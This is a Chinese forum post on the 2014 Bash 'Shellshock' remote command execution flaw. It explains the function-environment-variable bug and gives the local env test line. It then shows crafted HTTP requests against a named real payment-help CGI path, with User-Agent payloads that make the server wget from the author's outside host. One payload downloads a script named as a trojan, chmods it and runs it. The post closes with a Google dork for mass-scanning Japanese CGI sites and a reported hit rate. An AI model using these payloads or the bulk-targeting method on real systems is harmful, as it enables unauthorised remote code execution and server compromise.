设为首页收藏本站

安而遇随-随遇而安

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 2398|回复: 0

Bash远程解析命令执行漏洞测试方法

[复制链接]

 成长值: 48570

发表于 2014-9-26 13:08 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
<p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px; text-align: center;"> 14117118452553.jpg </p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;"><strong>从昨天开始,这个从澳大利亚远渡重洋而来的BASH远程命令执行漏洞就沸腾了整个安而遇随,大家都在谈论,“互联网的心脏又出血了”,可是,亲,到底怎么对网站进行测试?下面这段脚本</strong></p><pre class="prettyprint lang-bash prettyprinted" style="padding: 8px; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); white-space: pre-wrap; word-break: break-all; color: rgb(102, 102, 102); font-size: 13px; line-height: 24px;"><span class="pln" style="color: rgb(72, 72, 76);">$&nbsp;env&nbsp;x</span><span class="pun" style="color: rgb(147, 161, 161);">=‘()</span><span class="pln" style="color: rgb(72, 72, 76);">&nbsp;</span><span class="pun" style="color: rgb(147, 161, 161);">{</span><span class="pln" style="color: rgb(72, 72, 76);">&nbsp;</span><span class="pun" style="color: rgb(147, 161, 161);">:;};</span><span class="pln" style="color: rgb(72, 72, 76);">&nbsp;echo&nbsp;vulnerable</span><span class="pun" style="color: rgb(147, 161, 161);">&amp;#</span><span class="lit" style="color: rgb(25, 95, 145);">039</span><span class="pun" style="color: rgb(147, 161, 161);">;</span><span class="pln" style="color: rgb(72, 72, 76);">&nbsp;&nbsp;bash&nbsp;</span><span class="pun" style="color: rgb(147, 161, 161);">-</span><span class="pln" style="color: rgb(72, 72, 76);">c&nbsp;</span><span class="str" style="color: rgb(221, 17, 68);">"echo&nbsp;this&nbsp;is&nbsp;a&nbsp;test"</span></pre><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">真的如各路大神们说的这样吗?</p><blockquote style="quotes: ''; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;"><pre class="prettyprint lang-html prettyprinted" style="padding: 8px; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); white-space: pre-wrap; word-break: break-all;"><span class="pln" style="color: rgb(72, 72, 76);">它与“心脏出血”漏洞不同,“心脏出血”只能借助窃取用户电脑信息,而bash&nbsp;漏洞允许黑客远程控制电脑,拿到系统最高权限!其方法利用就更简单了——复制/粘贴一行命令代码即可!</span></pre></blockquote><p style="margin-top: 15px; padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;"><strong><span style="font-size: 18px;">Bash漏洞为什么能够执行</span></strong><br></p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">Bash漏洞的原理:</p><blockquote style="quotes: ''; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;"><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; text-indent: 0em;">BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!当前版本的bash通过以函数名作为环境变量名,以“(){”开头的字串作为环境变量的值来将函数定义导出为环境变量。</p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; text-indent: 0em;"><strong>此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。&nbsp;<br></strong></p></blockquote><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">简单地说就是,Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令。</p><p style="margin-top: 15px; padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;"><strong><span style="font-size: 18px;">Bash漏洞与远程执行有啥联系</span></strong></p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">看到上面的解释,很多童鞋都理解成了本地的漏洞,然后很多人又觉得,本地有啥可以利用的,于是就忽略了这个神级漏洞的存在。我想说的是,这个漏洞,利用热度可以媲美当年的MS08-067,威力虽然弱了点,但远程控制电脑还是可以的。</p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">首先解释一下cgi脚本。很多网站类似下面的链接:</p><pre class="prettyprint lang-html prettyprinted" style="padding: 8px; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); white-space: pre-wrap; word-break: break-all; color: rgb(102, 102, 102); font-size: 13px; line-height: 24px;"><span class="pln" style="color: rgb(72, 72, 76);">GET&nbsp;http://help.tenpay.com/cgi-bin/h ... r.cgi?id=20HTTP/1.1</span></pre><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">后台不仅仅用python、Perl来解释执行并反馈给客户端Response,当然还可以换做bash脚本来解释执行提交上来的GET/POST请求。所以,理论上,你在HTTP请求中插入一个Bash命令,比如</p><pre class="prettyprint lang-bash prettyprinted" style="padding: 8px; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); white-space: pre-wrap; word-break: break-all; color: rgb(102, 102, 102); font-size: 13px; line-height: 24px;"><span class="pun" style="color: rgb(147, 161, 161);">()</span><span class="pln" style="color: rgb(72, 72, 76);">&nbsp;</span><span class="pun" style="color: rgb(147, 161, 161);">{</span><span class="pln" style="color: rgb(72, 72, 76);">&nbsp;</span><span class="pun" style="color: rgb(147, 161, 161);">:;};</span><span class="pln" style="color: rgb(72, 72, 76);">&nbsp;wget&nbsp;http</span><span class="pun" style="color: rgb(147, 161, 161);">://</span><span class="pln" style="color: rgb(72, 72, 76);">www</span><span class="pun" style="color: rgb(147, 161, 161);">.</span><span class="pln" style="color: rgb(72, 72, 76);">myvps</span><span class="pun" style="color: rgb(147, 161, 161);">.</span><span class="pln" style="color: rgb(72, 72, 76);">org</span><span class="pun" style="color: rgb(147, 161, 161);">/</span><span class="pln" style="color: rgb(72, 72, 76);">testvul</span><span class="pun" style="color: rgb(147, 161, 161);">.</span><span class="pln" style="color: rgb(72, 72, 76);">sh</span></pre><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">如果服务器的Bash解释器具有这个漏洞,那么在解释上面这这句话的时候就会执行wget请求,将一个恶意的testvul.sh文件下载到这个服务器,那为何说要放在HTTP头部呢?比如:</p><pre class="prettyprint lang-html prettyprinted" style="padding: 8px; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); white-space: pre-wrap; word-break: break-all; color: rgb(102, 102, 102); font-size: 13px; line-height: 24px;"><span class="pln" style="color: rgb(72, 72, 76);">GET&nbsp;/cgi-bin/helpcenter/help_center.cgi?id=20&nbsp;HTTP/1.1&nbsp;
Host:&nbsp;help.tenpay.com&nbsp;
User-Agent:&nbsp;Mozilla/5.0&nbsp;(X11;&nbsp;Ubuntu;&nbsp;rv:32.0)&nbsp;Gecko/20100101&nbsp;Firefox/32.0&nbsp;
Accept:&nbsp;*/*
Referer:&nbsp;http://www.baidu.com
Connection:&nbsp;keep-alive</span></pre><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">这是因为这个漏洞是bash解释器在解释某些特殊的变量时才可以触发的:</p><blockquote style="quotes: ''; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;"><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden;">在于BASH处理以“(){”开头的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令</p></blockquote><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">通过自定义这些参数的值为“函数环境变量”的形式,就可以触发后面的命令,恶意的客户仅需要发送特殊构造的HTTP请求就可以使服务器执行特定的命令(命令的权限和解释HTTP请求的Bash脚本环境相同)。</p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">实际测试中,我的构造的测试请求:</p><pre class="prettyprint lang-html prettyprinted" style="padding: 8px; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); white-space: pre-wrap; word-break: break-all; color: rgb(102, 102, 102); font-size: 13px; line-height: 24px;"><span class="pln" style="color: rgb(72, 72, 76);">GET&nbsp;/cgi-bin/helpcenter/help_center.cgi?id=20&nbsp;HTTP/1.1&nbsp;
Host:&nbsp;help.tenpay.com&nbsp;
User-Agent:&nbsp;()&nbsp;{&nbsp;:;};&nbsp;/usr/bin/wget&nbsp;http://myvps.org/remember_client_ip.php
Accept:&nbsp;*/*
Referer:&nbsp;http://www.baidu.com
Connection:&nbsp;keep-alive</span></pre><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">过程是这样的:</p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">我发送GET请求–&gt;目标服务器cgi路径</p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">目标服务器解析这个get请求,碰到UserAgent后面的参数,Bash解释器就执行了后面的命令</p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">目标服务器wget–&gt;我的myvps.org</p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">我的vps记录下这个访问的IP地址</p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">然后查看我的myvps.org服务器的访问记录,就可以确定目标有没有去访问,如果访问了,那么,很好,它是有漏洞的。下面是我的VPS接收到的wget请求访问的日志:</p><h2 style="font-size: 13px; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; line-height: 24px;"><img data-original="http://image.3001.net/images/20140926/14117100089912.png!small" src="http://image.3001.net/images/20140926/14117100089912.png!small" title="bash.png" style="margin: 3px; padding: 3px; border: 0px; display: inline;"></h2><p style="margin-top: 15px; padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;"><strong><span style="font-size: 18px;">大神是这样测试漏洞的</span></strong><br></p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">当然,你也可以这样构造:</p><pre class="prettyprint lang-html prettyprinted" style="padding: 8px; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); white-space: pre-wrap; word-break: break-all; color: rgb(102, 102, 102); font-size: 13px; line-height: 24px;"><span class="pln" style="color: rgb(72, 72, 76);">GET&nbsp;/cgi-bin/helpcenter/help_center.cgi?id=20&nbsp;HTTP/1.1&nbsp;
Host:&nbsp;help.tenpay.com&nbsp;
User-Agent:&nbsp;()&nbsp;{&nbsp;:;};&nbsp;/usr/bin/wget&nbsp;-O&nbsp;/tmp/muma.sh&nbsp;&nbsp;&nbsp;;chmod&nbsp;777&nbsp;/tmp/muma.sh;&nbsp;./tmp/muma.sh
Accept:&nbsp;*/*
Referer:&nbsp;http://www.baidu.com
Connection:&nbsp;keep-alive</span></pre><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">实际上执行了下面三句:</p><pre class="prettyprint lang-html prettyprinted" style="padding: 8px; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); white-space: pre-wrap; word-break: break-all; color: rgb(102, 102, 102); font-size: 13px; line-height: 24px;"><span class="pln" style="color: rgb(72, 72, 76);">/usr/bin/wget&nbsp;-O&nbsp;/tmp/muma.sh&nbsp;&nbsp;http://myvps.org/muma.sh&nbsp;;
chmod&nbsp;777&nbsp;/tmp/muma.sh;&nbsp;
./tmp/muma.sh</span></pre><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">你会发现,脚本就执行了,这就是Bash漏洞利用测试的精髓。</p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">当然,你可以利用批量Google搜索:</p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;">filetype:cgi inurl:cgi-bin site:jp</p><p style="padding-top: 6px; padding-bottom: 4px; overflow: hidden; color: rgb(102, 102, 102); font-family: 微软雅黑, 'Microsoft YaHei', 'WenQuanYi Micro Hei'; font-size: 13px; line-height: 24px;"><strong>然后批量提交类似的GET请求,你就能做到批量测试了。测试表明,500个url里有6-8个有bash漏洞</strong></p><p></p>
[发帖际遇]: admin 捡了钱没交公 SB 降了 2 . 幸运榜 / 衰神榜
随遇而安
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表